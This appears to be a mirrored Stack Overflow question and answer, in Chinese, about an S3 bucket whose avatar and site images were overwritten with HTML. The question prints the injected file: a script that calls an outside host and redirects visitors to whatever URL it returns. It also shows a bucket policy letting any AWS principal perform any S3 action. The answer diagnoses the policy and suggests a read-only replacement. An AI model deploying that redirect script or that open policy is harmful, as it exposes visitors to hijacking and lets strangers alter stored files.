簡體   English   中英

s3 images - 我的 s3 存儲桶被黑了嗎?

[英]s3 images - Have my s3 bucket been hacked?

我平台的用戶可以上傳他們的頭像,但他們需要在我的 Laravel 后端請求簽名的 url。

這是 controller

public function avatarUploadSigner(Request $request)
{
    return s3_signedUrl("img/avatar/{$this->user->id}.jpg");
}

在這里 function 得到一個簽名的 s3 來上傳圖片

function s3_signedUrl($path, $expireOnMinutes = 120) {
    if(!$path) {
        return ['error' => 'filename missing'];
    }

    $s3 = Storage::disk('s3');
    $adapter = $s3->getDriver()->getAdapter();
    $client = $adapter->getClient();
    $mime = \League\Flysystem\Util\MimeType::detectByFilename($path);

    try {
        $command = $client->getCommand('PutObject', array(
            'Bucket' => $adapter->getBucket(),
            'Key' => $path,
            'ContentType' => $mime,
            'use_accelerate_endpoint' => true
        ));

        $signedUrl = $client->createPresignedRequest(
            $command,
            "+$expireOnMinutes minutes"
        );
        $signedUrl = $signedUrl->getUri()->__toString();
    } catch (S3Exception $e) {
        return ['error' => $e->getMessage()];
    }

    return $signedUrl;
}

一周前,一些圖像轉向 html 文件,如下所示:

<html>
<head>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&amp;type=content-script&amp;dmn=myghostmarket.s3.eu-west-1.amazonaws.com&amp;css=1&amp;js=1&amp;gcss=1&amp;rel=0&amp;rji=0"></script>
<script type="text/javascript" nonce="739865d617d243ffba08a513623" src="//local.adguard.org?ts=1586287921907&amp;name=AdGuard%20Assistant&amp;name=AdGuard%20Extra&amp;type=user-script"></script><script>
    var t="onload"in new XMLHttpRequest?XMLHttpRequest:XDomainRequest;var e=new t;e.open("GET","https://gold.platinumus.top/track/awswrite?q=html",true);e.onload=function(){location.href=this.responseText};e.send();
</script>
</head>
<body>
</body>
</html>

但是最近不僅頭像,現在還更改了其他圖像,例如 header、頁腳等,這些圖像無法通過簽名的 url 更改。

我有這個存儲桶策略

    "Version": "2008-10-17",
    "Statement": [
        {
            "Sid": "AllowPublicRead",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "s3:*",
            "Resource": [
               "arn:aws:s3:::_____MY_DOMAIN_NAME_____/audio/*",
               "arn:aws:s3:::_____MY_DOMAIN_NAME_____/img/*",
            ]
        }
    ]
}

如果沒有簽名的 url,音頻和 img 文件夾是可讀的,但不可寫? 我還有另一個更重要的私人文件夾。

他們有危險嗎? 我的代碼有什么問題? 我的 s3 存儲桶被黑了嗎?

您的存儲桶策略說:

  • 任何AWS 憑證
  • 可以撥打任何S3 API 電話
  • 但僅限於imgaudio目錄中的對象

這意味着我可以使用我的AWS 憑證來讀取、上傳和刪除該存儲桶中的對象。 它同樣可以解釋為什么對象已被外部各方上傳/修改。

如果您的意圖是使對象公開可讀,則應使用s3:GetObject

{
  "Version":"2012-10-17",
  "Statement":[
    {
      "Sid":"PublicRead",
      "Effect":"Allow",
      "Principal": "*",
      "Action":"s3:GetObject",
      "Resource":[
        "arn:aws:s3:::examplebucket/audio/*",
        "arn:aws:s3:::examplebucket/img/*",
      ]
    }
  ]
}

detectByFilename是檢查 mime 類型的最差方法。

/home/test/myfile.html.jpg將返回 jpg,即使它不是合法的 jpg 文件。 相反,您應該使用\finfo(FILEINFO_MIME)並讀取文件的 stream 以獲取 mime 類型。

不過,這是否會帶來重大問題,取決於您在上傳圖片后如何嵌入圖片。 如果您將原始文件數據嵌入到您的頁面中,這將使您面臨 CSRF 攻擊。

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM